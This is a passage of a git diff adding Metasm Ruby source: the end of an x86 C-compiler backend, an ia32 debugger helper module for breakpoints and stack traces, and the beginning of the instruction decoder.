Reg.new(4, @cpusz) + case a + when Expression + # assume expr is integral + a = load_fp_imm(a) + unuse a + when ModRM + instr 'fld', a + end + instr 'sub', esp, typesize[t] + instr 'fstp', ModRM.new(@cpusz, (t == :longdouble ? 80 : (t == :double ? 64 : 32)), nil, nil, esp, nil) + end + when C::Union + raise 'want a modrm ! ' + a.inspect if not a.kind_of? ModRM + al = typesize[:ptr] + argsz = (sizeof(arg) + al - 1) / al * al + while argsz > 0 + argsz -= al + m = a.dup + m.sz = 8*al + m.imm = Expression[m.imm, :+, argsz] + instr 'push', m + end + end + } + if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function + instr 'call', Expression[expr.lexpr.name] + if not hasattr[expr.lexpr, 'stdcall'] and not hasattr[expr.lexpr, 'fastcall'] + al = typesize[:ptr] + argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| + af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al + } + instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 + end + else + ptr = c_cexpr_inner(expr.lexpr) + unuse ptr + if ptr.kind_of? Address + if ptr.target.kind_of? C::Variable and not @state.offset[ptr.target] + # call an existing global function, maybe after casting to another ABI + ptr = Expression[ptr.target.name] + else + ptr = make_volatile(ptr, expr.lexpr.type) + end + end + instr 'call', ptr + f = expr.lexpr + f = f.rexpr while f.kind_of? C::CExpression and not f.op and f.rexpr.kind_of? C::Typed and f.type == f.rexpr.type + if not hasattr[f, 'stdcall'] and not hasattr[f, 'fastcall'] + al = typesize[:ptr] + argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| + af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al + } + instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 + end + end + @state.abi_flushregs_call.each { |reg| flushcachereg reg } + if expr.type.float? + retreg = FpReg.new(nil) + elsif not expr.type.kind_of? C::BaseType or expr.type.name != :void + if @state.used.include? 0 + retreg = inuse findreg + else + retreg = inuse getreg(0) + end + if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 + retreg.sz = 32 + if @state.used.include? 2 + retreg = inuse Composite.new(retreg, findreg(32)) + else + retreg = inuse Composite.new(retreg, getreg(2, 32)) + end + unuse retreg.low + end + end + regargs_list.each { |reg| unuse reg } + backup.reverse_each { |reg| + sz = [@cpusz, 32].max + if retreg.kind_of? Composite and reg == 0 + # XXX wtf ? and what if retreg.low.val == 2 and it was saved too.. + instr 'pop', Reg.new(retreg.low.val, sz) + instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.low.val, sz) + elsif retreg.kind_of? Composite and reg == 2 + # ..boom ! + instr 'pop', Reg.new(retreg.high.val, sz) + instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.high.val, sz) + elsif retreg.kind_of? Reg and reg == 0 + instr 'pop', Reg.new(retreg.val, sz) + instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.val, sz) + else + instr 'pop', Reg.new(reg, sz) + end + inuse reg + } + retreg + end + + # compiles/optimizes arithmetic operations + def c_cexpr_inner_arith(l, op, r, type) + # optimizes *2 -> <<1 + if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer + if type.integral? + log2 = lambda { |v| + # TODO lol + i = 0 + i += 1 while (1 << i) < v + i if (1 << i) == v + } + if (lr = log2[rr]).kind_of? ::Integer + case op + when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) + when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) + when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) + end + else + # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. + end + elsif type.float? + case op + when :<<; return c_cexpr_inner_arith(l, :*, Expression[1<>; return c_cexpr_inner_arith(l, :/, Expression[1<>; type.specifier == :unsigned ? 'shr' : 'sar' + when :<<; 'shl' + when :*; 'mul' + when :/; 'div' + when :%; 'mod' + end + + case op + when 'add', 'sub', 'and', 'or', 'xor' + r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM + unuse r + r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl + instr op, l, r + when 'shr', 'sar', 'shl' + if r.kind_of? Expression + instr op, l, r + else + # XXX bouh + r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) + unuse r + if r.val != 1 + ecx = Reg.new(1, 32) + instr 'xchg', ecx, Reg.new(r.val, 32) + l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 + @state.used.delete r.val if not @state.used.include? 1 + inuse ecx + end + instr op, l, Reg.new(1, 8) + instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 + end + when 'mul' + if l.kind_of? ModRM + if r.kind_of? Expression + ll = findreg + instr 'imul', ll, l, r + else + ll = make_volatile(l, type) + unuse ll + instr 'imul', ll, r + end + instr 'mov', l, ll + else + instr 'imul', l, r + end + unuse r + when 'div', 'mod' + lv = l.val if l.kind_of? Reg + eax = Reg.from_str 'eax' + edx = Reg.from_str 'edx' + if @state.used.include? eax.val and lv != eax.val + instr 'push', eax + saved_eax = true + end + if @state.used.include? edx.val and lv != edx.val + instr 'push', edx + saved_edx = true + end + + instr 'mov', eax, l if lv != eax.val + + if r.kind_of? Expression + instr 'push', r + esp = Reg.from_str 'esp' + r = ModRM.new(@cpusz, 32, nil, nil, esp, nil) + need_pop = true + end + + if type.specifier == :unsigned + instr 'mov', edx, Expression[0] + instr 'div', r + else + instr 'cdq' + instr 'idiv', r + end + unuse r + + instr 'add', esp, 4 if need_pop + + if op == 'div' + instr 'mov', l, eax if lv != eax.val + else + instr 'mov', l, edx if lv != edx.val + end + + instr 'pop', edx if saved_edx + instr 'pop', eax if saved_eax + end + end + + # compile an integral arithmetic 64-bits expression on a non-64 cpu + def c_cexpr_inner_arith_int64compose(l, op, r, type) + op = case op + when :+; 'add' + when :-; 'sub' + when :&; 'and' + when :|; 'or' + when :^; 'xor' + when :>>; type.specifier == :unsigned ? 'shr' : 'sar' + when :<<; 'shl' + when :*; 'mul' + when :/; 'div' + when :%; 'mod' + end + + ll, lh = get_composite_parts l + # 1ULL << 2 -> 2 is not ULL + r = make_volatile(r, C::BaseType.new("__int#{r.sz}".to_sym)) if l.kind_of? ModRM and r.kind_of? ModRM + rl, rh = get_composite_parts(r) if not r.kind_of? Reg + + case op + when 'add', 'sub', 'and', 'or', 'xor' + unuse r + instr op, ll, rl + op = {'add' => 'adc', 'sub' => 'sbb'}[op] || op + instr op, lh, rh unless (op == 'or' or op == 'xor') and rh.kind_of?(Expression) and rh.reduce == 0 + when 'shl', 'shr', 'sar' + rlc = r.reduce if r.kind_of? Expression + opd = { 'shl' => 'shld', 'shr' => 'shrd', 'sar' => 'shrd' }[op] + + ll, lh = lh, ll if op != 'shl' # OMGHAX + llv = ll + if llv.kind_of? ModRM + llv = make_volatile(llv, C::BaseType.new(:__int32)) + inuse ll + end + + if rlc.kind_of? Integer + case rlc + when 0 + when 1..31 + instr opd, llv, lh, Expression[rlc] + instr op, ll, Expression[rlc] + when 32..63 + instr 'mov', lh, llv + if op == 'sar' + instr 'sar', ll, Expression[31] + else + instr 'mov', ll, Expression[0] + end + instr op, lh, Expression[rlc-32] if rlc != 32 + else + if op == 'sar' + instr 'sar', ll, Expression[31] + instr 'mov', lh, llv + else + instr 'mov', ll, Expression[0] + instr 'mov', lh, Expression[0] + end + end + else + r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) + r = r.low if r.kind_of? Composite + rl ||= r + + cl = Reg.new(1, 8) + ecx = Reg.new(1, 32) + if r.val != 1 + instr 'xchg', ecx, Reg.new(r.val, 32) + lh = Reg.new(r.val, lh.sz) if lh.kind_of?(Reg) and lh.val == 1 + ll = Reg.new(r.val, ll.sz) if ll.kind_of?(Reg) and ll.val == 1 + llv = Reg.new(r.val, llv.sz) if llv.kind_of?(Reg) and llv.val == 1 + @state.used.delete r.val if not @state.used.include? 1 + inuse ecx + end + + labelh = new_label('shldh') + labeld = new_label('shldd') + instr 'test', ecx, Expression[0x20] + instr 'jnz', Expression[labelh] + instr opd, llv, lh, cl + instr op, ll, cl + instr 'jmp', Expression[labeld] + @source << Label.new(labelh) + instr op, llv, cl + instr 'mov', lh, llv + if op == 'sar' + instr 'sar', ll, Expression[31] + else + instr 'mov', ll, Expression[0] + end + @source << Label.new(labeld) + + instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 + unuse ecx + unuse r + end + when 'mul' + # high = (low1*high2) + (high1*low2) + (low1*low2).high + t1 = findreg(32) + t2 = findreg(32) + unuse t1, t2, r + instr 'mov', t1, ll + instr 'mov', t2, rl + instr 'imul', t1, rh + instr 'imul', t2, lh + instr 'add', t1, t2 + + raise # TODO push eax/edx, mul, pop + instr 'mov', eax, ll + if rl.kind_of? Expression + instr 'mov', t2, rl + instr 'mul', t2 + else + instr 'mul', rl + end + instr 'add', t1, edx + instr 'mov', lh, t1 + instr 'mov', ll, eax + + when 'div' + raise # TODO + when 'mod' + raise # TODO + end + end + + def c_cexpr(expr) + case expr.op + when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', + :>, :<, :<=, :>=, :==, :'!=', :'!' + # skip no-ops + c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression + c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression + else unuse c_cexpr_inner(expr) + end + end + + def c_block_exit(block) + @state.cache.delete_if { |k, v| + case v + when C::Variable; block.symbol.index v + when Address; block.symbol.index v.target + end + } + block.symbol.each { |s| + unuse @state.bound.delete(s) + } + end + + def c_decl(var) + if var.type.kind_of? C::Array and + var.type.length.kind_of? C::CExpression + reg = c_cexpr_inner(var.type.length) + unuse reg + instr 'sub', Reg.new(4, @cpusz), reg + # TODO + end + end + + def c_ifgoto(expr, target) + case o = expr.op + when :<, :>, :<=, :>=, :==, :'!=' + l = c_cexpr_inner(expr.lexpr) + r = c_cexpr_inner(expr.rexpr) + if l.kind_of? Expression + o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o + l, r = r, l + end + r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM + unuse l, r + if expr.lexpr.type.integral? + if expr.lexpr.type.name == :__int64 and @cpusz != 64 + raise # TODO + end + instr 'cmp', l, r + elsif expr.lexpr.type.float? + raise # TODO + instr 'fcmpp', l, r + else raise 'bad comparison ' + expr.to_s + end + op = 'j' + getcc(o, expr.lexpr.type) + instr op, Expression[target] + when :'!' + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.rexpr.type) + unuse r + instr 'test', r, r + instr 'jz', Expression[target] + else + r = c_cexpr_inner(expr) + r = make_volatile(r, expr.type) + unuse r + instr 'test', r, r + instr 'jnz', Expression[target] + end + end + + def c_goto(target) + instr 'jmp', Expression[target] + end + + def c_label(name) + @state.cache.clear + @source << '' << Label.new(name) + end + + def c_return(expr) + return if not expr + @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } + r = c_cexpr_inner(expr) + r = make_volatile(r, expr.type) + unuse r + case r + when Composite + if r.low.val == 2 + instr 'xchg', r.low, r.high + instr 'mov', Reg.new(0, 32), r.low if r.high.val != 0 + else + instr 'mov', Reg.new(2, 32), r.high if r.high.val != 2 + instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0 + end + when Reg + instr 'mov', Reg.new(0, r.sz), r if r.val != 0 + when FpReg + instr 'fld', FpReg.new(r.val) if r.val and r.val != 0 + end + end + + def c_asm(stmt) + if stmt.output or stmt.input or stmt.clobber + raise # TODO (handle %%0 => eax, gas, etc) + else + raise if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } # gsub ebp+off ? + @source << stmt.body + end + end + + def c_init_state(func) + @state = State.new(func) + # ET_DYN trashes ebx too + # XXX hope we're not a Shellcode to be embedded in an ELF.. + @state.abi_flushregs_call << 3 if @exeformat and @exeformat.shortname == 'elf' + + c_reserve_stack(func.initializer) + off = @state.offset.values.max.to_i # where to store register args + off = 0 if off < 0 + + al = typesize[:ptr] + argoff = 2*al + fa = func.type.args.dup + if func.has_attribute('fastcall') + 2.times { + if a = fa.shift + off = c_reserve_stack_var(a, off) + @state.offset[a] = off + end + } + end + fa.each { |a| + if a.has_attribute_var('register') or a.type.has_attribute_var('register') + off = c_reserve_stack_var(a, off) + @state.offset[a] = off + next + end + @state.offset[a] = -argoff + argoff = (argoff + sizeof(a) + al - 1) / al * al + } + if not @state.offset.values.grep(::Integer).empty? + @state.saved_ebp = Reg.new(5, @cpusz) + @state.used << 5 + end + end + + def c_prolog + localspc = @state.offset.values.grep(::Integer).max + return if @state.func.has_attribute('naked') + if localspc + al = typesize[:ptr] + localspc = (localspc + al - 1) / al * al + ebp = @state.saved_ebp + esp = Reg.new(4, ebp.sz) + instr 'push', ebp + instr 'mov', ebp, esp + instr 'sub', esp, Expression[localspc] if localspc > 0 + + if @state.func.has_attribute('fastcall') + if a0 = @state.func.type.args[0] + instr 'mov', findvar(a0), Reg.new(1, 32) + end + if a1 = @state.func.type.args[1] + instr 'mov', findvar(a1), Reg.new(2, 32) + end + else + @state.func.type.args.each { |a| + if r = (a.has_attribute_var('register') or a.type.has_attribute_var('register')) + # XXX if r == ebp, then prepend_prolog mov [esp-off], ebp... + # XXX this would break when calling anyway (mov ebp, 42; ; call func) + instr 'mov', findvar(a), Reg.from_str(r) + end + } + end + end + @state.dirty -= @state.abi_trashregs # XXX ABI + @state.dirty.each { |reg| + instr 'push', Reg.new(reg, @cpusz) + } + end + + def c_epilog + return if @state.func.attributes.to_a.include? 'naked' + # TODO revert dynamic array alloc + @state.dirty.reverse_each { |reg| + instr 'pop', Reg.new(reg, @cpusz) + } + if ebp = @state.saved_ebp + instr 'mov', Reg.new(4, ebp.sz), ebp + instr 'pop', ebp + end + f = @state.func + if f.has_attribute('stdcall') or f.has_attribute('fastcall') + al = typesize[:ptr] + fa = f.type.args.dup + 2.times { fa.shift } if f.has_attribute('fastcall') + argsz = fa.inject(0) { |sum, a| + (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al + } + if argsz > 0 + instr 'ret', Expression[argsz] + else + instr 'ret' + end + else + instr 'ret' + end + end + + # adds the metasm_intern_geteip function, which returns its own address in eax (used for PIC addressing) + def c_program_epilog + if defined? @need_geteip_stub and @need_geteip_stub + return if new_label('metasm_intern_geteip') != 'metasm_intern_geteip' # already defined elsewhere + + eax = Reg.new(0, @cpusz) + label = new_label('geteip') + + @source << Label.new('metasm_intern_geteip') + instr 'call', Expression[label] + @source << Label.new(label) + instr 'pop', eax + instr 'add', eax, Expression['metasm_intern_geteip', :-, label] + instr 'ret' + end +#File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser } +#File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source } + end +end + + def new_ccompiler(parser, exe=ExeFormat.new) + exe.cpu = self if not exe.instance_variable_get("@cpu") + CCompiler.new(parser, exe) + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/debug.rb b/lib/metasm/metasm/cpu/ia32/debug.rb new file mode 100644 index 0000000000..952c72fb47 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/debug.rb @@ -0,0 +1,193 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/opcodes' + +module Metasm +class Ia32 + def dbg_register_pc + @dbg_register_pc ||= :eip + end + def dbg_register_sp + @dbg_register_sp ||= dbg_register_list[7] + end + def dbg_register_flags + @dbg_register_flags ||= :eflags + end + + def dbg_register_list + @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(32).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) + end + + def dbg_flag_list + @dbg_flag_list ||= [:c, :p, :a, :z, :s, :i, :d, :o] + end + + DBG_FLAGS = { :c => 0, :p => 2, :a => 4, :z => 6, :s => 7, :t => 8, :i => 9, :d => 10, :o => 11 } + def dbg_get_flag(dbg, f) + (dbg.get_reg_value(dbg_register_flags) >> DBG_FLAGS[f]) & 1 + end + def dbg_set_flag(dbg, f) + fl = dbg.get_reg_value(dbg_register_flags) + fl |= 1 << DBG_FLAGS[f] + dbg.set_reg_value(dbg_register_flags, fl) + end + def dbg_unset_flag(dbg, f) + fl = dbg.get_reg_value(dbg_register_flags) + fl &= ~(1 << DBG_FLAGS[f]) + dbg.set_reg_value(dbg_register_flags, fl) + end + + def dbg_enable_singlestep(dbg) + dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0 + end + def dbg_disable_singlestep(dbg) + dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0 + end + + def dbg_enable_bp(dbg, bp) + case bp.type + when :bpx; dbg_enable_bpx( dbg, bp) + else dbg_enable_bphw(dbg, bp) + end + end + + def dbg_disable_bp(dbg, bp) + case bp.type + when :bpx; dbg_disable_bpx( dbg, bp) + else dbg_disable_bphw(dbg, bp) + end + end + + def dbg_enable_bpx(dbg, bp) + bp.internal[:previous] ||= dbg.memory[bp.address, 1] + dbg.memory[bp.address, 1] = "\xcc" + end + + def dbg_disable_bpx(dbg, bp) + dbg.memory[bp.address, 1] = bp.internal[:previous] + end + + # allocate a debug register for a hwbp by checking the list of hwbp existing in dbg + def dbg_alloc_bphw(dbg, bp) + if not bp.internal[:dr] + may = [0, 1, 2, 3] + dbg.breakpoint_thread.values.each { |bb| may.delete bb.internal[:dr] } + raise 'alloc_bphw: no free debugregister' if may.empty? + bp.internal[:dr] = may.first + end + bp.internal[:type] ||= :x + bp.internal[:len] ||= 1 + bp.internal[:dr] + end + + def dbg_enable_bphw(dbg, bp) + nr = dbg_alloc_bphw(dbg, bp) + dr7 = dbg[:dr7] + l = { 1 => 0, 2 => 1, 4 => 3, 8 => 2 }[bp.internal[:len]] + rw = { :x => 0, :w => 1, :r => 3 }[bp.internal[:type]] + raise "enable_bphw: invalid breakpoint #{bp.inspect}" if not l or not rw + dr7 &= ~((15 << (16+4*nr)) | (3 << (2*nr))) # clear + dr7 |= ((l << 2) | rw) << (16+4*nr) # set drN len/rw + dr7 |= 3 << (2*nr) # enable global/local drN + + dbg["dr#{nr}"] = bp.address + dbg[:dr7] = dr7 + end + + def dbg_disable_bphw(dbg, bp) + nr = bp.internal[:dr] + dr7 = dbg[:dr7] + dr7 &= ~(3 << (2*nr)) + dbg[:dr7] = dr7 + end + + def dbg_check_pre_run(dbg) + if dbg[:dr6] == 0 and dbg[:dr7] == 0 + dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0 + end + dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0 + end + + def dbg_evt_bpx(dbg, b) + if b.address == dbg.pc-1 + dbg.pc -= 1 + end + end + + def dbg_find_bpx(dbg) + return if dbg[:dr6] & 0x4000 != 0 + pc = dbg.pc + dbg.breakpoint[pc-1] || dbg.breakpoint[pc] + end + + def dbg_find_hwbp(dbg) + dr6 = dbg[:dr6] + return if dr6 & 0xf == 0 + dn = (0..3).find { |n| dr6 & (1 << n) } + dbg.breakpoint_thread.values.find { |b| b.internal[:dr] == dn } + end + + def dbg_need_stepover(dbg, addr, di) + di and ((di.instruction.prefix and di.instruction.prefix[:rep]) or di.opcode.props[:saveip]) + end + + def dbg_end_stepout(dbg, addr, di) + di and di.opcode.name == 'ret' + end + + # return (yield) a list of [addr, symbolic name] + def dbg_stacktrace(dbg, rec=500) + ret = [] + s = dbg.addrname!(dbg.pc) + yield(dbg.pc, s) if block_given? + ret << [dbg.pc, s] + fp = dbg.get_reg_value(dbg_register_list[6]) + stack = dbg.get_reg_value(dbg_register_list[7]) - 8 + while fp > stack and fp <= stack+0x10000 and rec != 0 + rec -= 1 + ra = dbg.resolve_expr Indirection[fp+4, 4] + s = dbg.addrname!(ra) + yield(ra, s) if block_given? + ret << [ra, s] + stack = fp # ensure we walk the stack upwards + fp = dbg.resolve_expr Indirection[fp, 4] + end + ret + end + + # retrieve the current function return value + # only valid at function exit + def dbg_func_retval(dbg) + dbg.get_reg_value(dbg_register_list[0]) + end + def dbg_func_retval_set(dbg, val) + dbg.set_reg_value(dbg_register_list[0], val) + end + + # retrieve the current function return address + # to be called only on entry of the subfunction + def dbg_func_retaddr(dbg) + dbg.memory_read_int(dbg_register_list[7]) + end + def dbg_func_retaddr_set(dbg, ret) + dbg.memory_write_int(dbg_register_list[7], ret) + end + + # retrieve the current function arguments + # only valid at function entry (eg right after the call) + def dbg_func_arg(dbg, argnr) + dbg.memory_read_int(Expression[:esp, :+, 4*(argnr+1)]) + end + def dbg_func_arg_set(dbg, argnr, arg) + dbg.memory_write_int(Expression[:esp, :+, 4*(argnr+1)], arg) + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/decode.rb b/lib/metasm/metasm/cpu/ia32/decode.rb new file mode 100644 index 0000000000..de90f087d5 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/decode.rb @@ -0,0 +1,1326 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/opcodes' +require 'metasm/decode' + +module Metasm +class Ia32 + class ModRM + def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {}) + m = (byte >> 6) & 3 + rm = byte & 7 + + if m == 3 + return regclass.new(rm, opsz) + end + + sum = Sum[adsz][m][rm] + + s, i, b, imm = nil + sum.each { |a| + case a + when Integer + if not b + b = Reg.new(a, adsz) + else + s = 1 + if h[:mrmvex] + i = SimdReg.new(a, h[:mrmvex]) + else + i = Reg.new(a, adsz) + end + end + + when :sib + sib = edata.get_byte.to_i + + ii = ((sib >> 3) & 7) + if ii != 4 + s = 1 << ((sib >> 6) & 3) + if h[:mrmvex] + i = SimdReg.new(ii, h[:mrmvex]) + else + i = Reg.new(ii, adsz) + end + end + + bb = sib & 7 + if bb == 5 and m == 0 + imm = Expression[edata.decode_imm("i#{adsz}".to_sym, endianness)] + else + b = Reg.new(bb, adsz) + end + + when :i8, :i16, :i32 + imm = Expression[edata.decode_imm(a, endianness)] + end + } + + if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i)) + # probably a base address -> unsigned + imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)] + end + + opsz = h[:argsz] if h[:argsz] + new adsz, opsz, s, i, b, imm, seg + end + end + + class Farptr + def self.decode(edata, endianness, adsz) + addr = Expression[edata.decode_imm("u#{adsz}".to_sym, endianness)] + seg = Expression[edata.decode_imm(:u16, endianness)] + new seg, addr + end + end + + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = Array.new(op.bin.length, 0) + op.fields.each { |f, (oct, off)| + op.bin_mask[oct] |= (@fields_mask[f] << off) + } + op.bin_mask.map! { |v| 255 ^ v } + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + + build_opcode_bin_mask op + + b = op.bin[0] + msk = op.bin_mask[0] + + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_prefix(instr, byte) + instr.prefix ||= {} + (instr.prefix[:list] ||= []) << byte + + # XXX actual limit = 15-instr.length + return false if instr.prefix[:list].length >= 15 + + case byte + when 0x66; instr.prefix[:opsz] = true + when 0x67; instr.prefix[:adsz] = true + when 0xF0; instr.prefix[:lock] = true + when 0xF2; instr.prefix[:rep] = :nz + when 0xF3; instr.prefix[:rep] = :z # postprocessed by decode_instr + when 0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65 + if byte & 0x40 == 0 + v = (byte >> 3) & 3 + else + v = byte & 7 + end + instr.prefix[:seg] = SegReg.new(v) + else + return false + end + true + end + + # tries to find the opcode encoded at edata.ptr + # if no match, tries to match a prefix (update di.instruction.prefix) + # on match, edata.ptr points to the first byte of the opcode (after prefixes) + def decode_findopcode(edata) + di = DecodedInstruction.new self + while edata.ptr < edata.data.length + pfx = di.instruction.prefix || {} + byte = edata.data[edata.ptr] + byte = byte.unpack('C').first if byte.kind_of?(::String) + return di if di.opcode = @bin_lookaside[byte].find { |op| + # fetch the relevant bytes from edata + bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') + + # check against full opcode mask + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and + # check special cases + !( + # fail if any of those is true + (fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or + (fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or + (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or + (op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or + (op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or + (fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or + (sz = op.props[:opsz] and opsz(di, op) != sz) or + (sz = op.props[:adsz] and adsz(di, op) != sz) or + (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or + (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or + # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb + (pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or + (pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or + (op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b]) + ) + } + + break if not decode_prefix(di.instruction, edata.get_byte) + di.bin_length += 1 + end + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length + pfx = di.instruction.prefix || {} + + case op.props[:needpfx] + when 0x66; pfx.delete :opsz + when 0x67; pfx.delete :adsz + when 0xF2, 0xF3; pfx.delete :rep + end + + if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] + case pfx.delete(:seg).val + when 1; pfx[:jmphint] = 'hintnojmp' + when 3; pfx[:jmphint] = 'hintjmp' + end + end + + field_val = lambda { |f| + if fld = op.fields[f] + (bseq[fld[0]] >> fld[1]) & @fields_mask[f] + end + } + + opsz = op.props[:argsz] || opsz(di) + adsz = (pfx[:adsz] ? 48 - @size : @size) + + mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) + op.args.each { |a| + di.instruction.args << case a + when :reg; Reg.new field_val[a], opsz + when :eeec; CtrlReg.new field_val[a] + when :eeed; DbgReg.new field_val[a] + when :eeet; TstReg.new field_val[a] + when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] + when :regfp; FpReg.new field_val[a] + when :regmmx; SimdReg.new field_val[a], mmxsz + when :regxmm; SimdReg.new field_val[a], 128 + when :regymm; SimdReg.new field_val[a], 256 + + when :farptr; Farptr.decode edata, @endianness, opsz + when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)] + when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)] + + when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg) + when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg) + when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz] + when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] + when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] + + when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) + when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) + when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) + when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128) + when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256) + + when :imm_val1; Expression[1] + when :imm_val3; Expression[3] + when :reg_cl; Reg.new 1, 8 + when :reg_eax; Reg.new 0, opsz + when :reg_dx; Reg.new 2, 16 + when :regfp0; FpReg.new nil + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return false if edata.ptr > edata.length + + if op.name == 'movsx' or op.name == 'movzx' + if di.opcode.props[:argsz] == 8 + di.instruction.args[1].sz = 8 + else + 